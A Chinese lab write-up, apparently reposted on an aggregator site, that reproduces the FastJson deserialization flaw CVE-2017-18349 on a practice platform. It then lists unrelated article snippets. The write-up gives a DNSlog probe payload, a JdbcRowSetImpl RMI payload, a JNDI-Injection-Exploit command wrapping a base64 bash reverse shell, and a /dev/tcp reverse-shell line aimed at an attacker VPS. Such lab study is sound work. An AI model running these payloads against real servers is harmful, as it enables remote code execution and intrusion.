FastJson反序列化漏洞(CVE-2017-18349)

news/2024/11/22 10:55:13/

漏洞原理

原理就不多说了,可以去看我这篇文章,已经写得很详细了。

Java安全—log4j日志&FastJson序列化&JNDI注入-CSDN博客

影响版本

FastJson<=1.2.24

复现过程

这里我是用vulfocus.cn这个漏洞平台去复现的,比较方便,访问发现是个Json的数据。

抓个包,改为post请求模式,数据类型改为json,随便请求个json格式的数据再发送,发现其会处理json的数据。

找个dnslog平台测试一下。

{"a":{"@type":"java.net.Inet4Address","val":"dnslog地址"}
}

发现有回显,说明存在远程命令执行漏洞。

接着来反弹shell,我们用JNDI-Injection-Exploit这个工具来进行,这个工具比较方便可以根据命令来生成rmi/ldap资源路径,就不需要我们自己编写class文件了。

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxxx}|{base64,-d}|{bash,-i}" -A xxx.xxx.xxx(vps的IP)

把上面echo后面的xxxx替换成下面反弹shell命令的base64编码,执行命令之后就会生成几个资源链接,不知道用哪个的话,都试试就行。

bash -i >/dev/tcp/xxx.xxx.xxx.xxx/port 0>&1

利用这个payload,把dataSourceName里面的内容换成我们上面的资源链接。

{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://xxx.xxx.xxx.xxx/xxx",	"autoCommit":true}
}

监听一下连接端口

重新发包。

可以看到有服务器请求了我们的rmi资源。

但是没有返回shell,奇了怪了,昨天都还正常的,算了不管了,反正原理就这样。

总结

这个漏洞原理只要你把它搞懂了其实很简单的,不算难,而且无论什么版本的FastJson的漏洞原理都是一样的。只不过是增加了一下黑白名单的过滤,也存在对应的绕过方法,搜一下payload即可。


http://www.ppmy.cn/news/1549017.html

相关文章

第二课 Model模型资源导入设置检查与优化

上期我们学习了最简单的audio音效的优化&#xff0c;接下来我们继续model模型资源的优化&#xff0c;我将汇总各路大神关于模型优化的思路和方法供你和我学习。 首先我们还是要把我们优化的目标重申一遍&#xff1a; 优化的目标 1.文件体积尽可能小 2.内存占用尽可能小 3.…

ES6 模板字符串详解

ES6 模板字符串详解 ES6&#xff08;ECMAScript 6&#xff09;引入了模板字符串&#xff08;Template Literals&#xff09;&#xff0c;这是一种新的字符串字面量语法&#xff0c;使用反引号&#xff08;&#xff09;来定义字符串。模板字符串不仅支持多行字符串&#xff0c;…

【十年java搬砖路】MYSQL xtrabackup 工具备份恢复

1.备份 xtrabackup 工具备份命令 xtrabackup --defaults-fileMYSQL配置文件地址(/etc/my.conf) --user用户名 --password密码 --backup --target-dir备份路径如(/data/mysql/backup) >>备份日存储地址(/data/mysql/backup/backup_full_success.log) 2>&12.恢复 …

五种算法B站视频推荐系统|vue+springboot前后端分离架构、多层感知机+矩阵奇异值分解+协同过滤四种推荐算法集成+机器学习预测算法、B站视频爬取

文章结尾部分有CSDN官方提供的学长 联系方式名片 文章结尾部分有CSDN官方提供的学长 联系方式名片 功能特色 &#x1fa77;编号&#xff1a;R08 &#x1fa77;架构&#xff1a;31架构&#xff0c;网站端大屏端管理端端后端,vuespringbotmysql &#x1fa77;功能&#xff1a;四…

构建高效帮助中心FAQ系统:价值、功能与实例解析

在当今信息洪流的时代&#xff0c;提升客户服务体验成为了企业赢得市场竞争力的关键。在此背景下&#xff0c;帮助中心FAQ&#xff08;常见问题解答&#xff09;系统作为一种高效的用户服务工具&#xff0c;正逐渐受到企业的重视。本文将深入探讨FAQ系统的核心价值、多样功能及…

游戏引擎学习第17天

视频参考:https://www.bilibili.com/video/BV1LPUpYJEXE/ 回顾上一天的内容 1. 整体目标&#xff1a; 处理键盘输入&#xff1a;将键盘输入的处理逻辑从平台特定的代码中分离出来&#xff0c;放入更独立的函数中以便管理。优化消息循环&#xff1a;确保消息循环能够有效处理 …

[ 跨域问题 ] 前后端以及服务端 解决跨域的各种方法

这篇文章主要介绍了跨域问题&#xff0c;包括其定义、产生原因及各种解决方法。原因是浏览器安全策略限制&#xff0c;方法有 JSONP、CORS、Domain、 postMessage、Nginx配置、.NetCore配置。 前言 什么是跨域问题? 在Web应用中&#xff0c;当一个网页的脚本试图去请求另一个域…

SpringBoot集成 Jasypt 实现数据源连接信息进行加密

SpringBoot集成 Jasypt 实现数据源连接信息进行加密 在实际项目中&#xff0c;敏感信息&#xff08;如数据库连接的 URL、用户名、密码等&#xff09;直接暴露在配置文件中可能导致安全隐患。为了解决这一问题&#xff0c;可以使用 Jasypt 来加密敏感信息&#xff0c;并在运行…